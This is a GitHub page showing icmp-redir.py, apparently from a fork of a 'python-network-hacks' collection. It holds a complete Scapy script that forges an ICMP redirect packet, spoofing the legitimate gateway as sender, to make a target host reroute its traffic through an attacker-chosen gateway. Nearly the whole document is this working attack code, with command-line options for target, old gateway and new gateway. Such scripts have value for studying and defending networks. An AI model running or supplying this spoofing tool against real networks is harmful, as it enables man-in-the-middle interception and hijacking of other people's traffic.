forked from balle/python-network-hacks
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathicmp-redir.py
executable file
·45 lines (36 loc) · 854 Bytes
/
icmp-redir.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python3
import sys
import getopt
from scapy.all import send, IP, ICMP
# The address we send the packet to
target = None
# The address of the original gateway
old_gw = None
# The address of our desired gateway
new_gw = None
def usage():
print(sys.argv[0] + """
-t <target>
-o <old_gw>
-n <new_gw>""")
sys.exit(1)
# Parsing parameter
try:
cmd_opts = "t:o:n:r:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-t":
target = opt[1]
elif opt[0] == "-o":
old_gw = opt[1]
elif opt[0] == "-n":
new_gw = opt[1]
else:
usage()
# Construct and send the packet
packet = IP(src=old_gw, dst=target) / \
ICMP(type=5, code=1, gw=new_gw) / \
IP(src=target, dst='0.0.0.0')
send(packet)